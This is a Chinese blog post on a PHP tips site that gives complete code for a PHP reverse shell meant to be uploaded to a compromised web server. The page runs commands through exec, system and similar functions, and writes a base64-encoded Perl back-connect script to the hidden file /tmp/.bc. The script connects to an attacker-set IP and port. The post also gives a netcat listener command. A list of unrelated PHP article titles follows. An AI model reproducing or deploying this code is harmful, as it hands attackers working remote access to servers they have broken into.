php反弹shell实现代码

2015-01-24信息快讯网

遇到一个BT的网站,上传php文件成功之后,每访问一次,文件名就会随机改变一次,并且你访问当前文件如果点其他操作项,文件仍然会改名。

非常无 奈,没想 到什么好的办法,后来灵光一闪。放一个php页面,里面 可以直接弹回来shell,何况在console下面操作比webshell方便的多,也不会出现超时之类的情况。
因为我不怎么懂php,于是就找了猥琐 的诺诺和小雨修改了一下代码,反弹代码是从phpspy2008里面提取的,但是不能直接用,需要修改成一个单独的php文件。上传之后,本地监听一个端 口,在代码里设置好反弹IP和端口,然后直接访问,就会弹回来一个shell。
声明,没啥技术含量,主要是用来方便。这样每次可以直接访问这个php页面,直接弹回来shell,不用做其他繁琐的操作,下面贴出来已经修改好的代码
<?php 
function which($pr) { 
$path = execute("which $pr"); 
return ($path ? $path : $pr); 
} 
function execute($cfe) { 
$res = ''; 
if ($cfe) { 
if(function_exists('exec')) { 
@exec($cfe,$res); 
$res = join("\n",$res); 
} elseif(function_exists('shell_exec')) { 
$res = @shell_exec($cfe); 
} elseif(function_exists('system')) { 
@ob_start(); 
@system($cfe); 
$res = @ob_get_contents(); 
@ob_end_clean(); 
} elseif(function_exists('passthru')) { 
@ob_start(); 
@passthru($cfe); 
$res = @ob_get_contents(); 
@ob_end_clean(); 
} elseif(@is_resource($f = @popen($cfe,"r"))) { 
$res = ''; 
while(!@feof($f)) { 
$res .= @fread($f,1024); 
} 
@pclose($f); 
} 
} 
return $res; 
} 
function cf($fname,$text){ 
if($fp=@fopen($fname,'w')) { 
@fputs($fp,@base64_decode($text)); 
@fclose($fp); 
} 
} 
$yourip = "your IP"; 
$yourport = 'your port'; 
$usedb = array('perl'=>'perl','c'=>'c'); 
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj". 
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR". 
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT". 
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI". 
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi". 
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl". 
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; 
cf('/tmp/.bc',$back_connect); 
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &"); 
?> 

先在本地执行 nc -l -vv -p port 然后访问这个php页面 http://www.site.com/fuck.php 本地就会得到一个反弹的shell。
仅限猥琐流使用,如果有什么好的猥琐的方法,请不吝赐教
php 学习资料零碎东西
PHP访问MYSQL数据库封装类(附函数说明)
PHP验证码类代码( 最新修改,完全定制化! )
PHP项目开发中最常用的自定义函数整理
PHP自动选择 连接本地还是远程数据库
php运行出现Call to undefined function curl_init()的解决方法
php empty,isset,is_null判断比较(差异与异同)
PHP生成excel时单元格内换行问题的解决方法
php excel类 phpExcel使用方法介绍
php中使用ExcelFileParser处理excel获得数据(可作批量导入到数据库使用)
ThinkPHP中实例Model方法的区别说明
由php的call_user_func传reference引发的思考
php操作excel文件 基于phpexcel
用sql命令修改数据表中的一个字段为非空(not null)的语句
AMFPHP php远程调用(RPC, Remote Procedure Call)工具 快速入门教程
php 读取shell管道传输过来的内容
PHP 危险函数解释 分析
将数组写入txt文件 var_export
php 保留小数点
PHP 中执行排序与 MySQL 中排序
一个php导出oracle库的php代码
php一句话cmdshell新型 (非一句话木马)
PHP 加密与解密的斗争
Zend Studio for Eclipse的java.lang.NullPointerException错误的解决方法
php preg_match_all结合str_replace替换内容中所有img
使用eAccelerator加密PHP程序
PHP Smarty生成EXCEL文档的代码
php-accelerator网站加速PHP缓冲的方法
Excel数据导入Mysql数据库的实现代码
实现php加速的eAccelerator dll支持文件打包下载
关于在php.ini中添加extension=php_mysqli.dll指令的说明
©2014-2024 dbsqp.com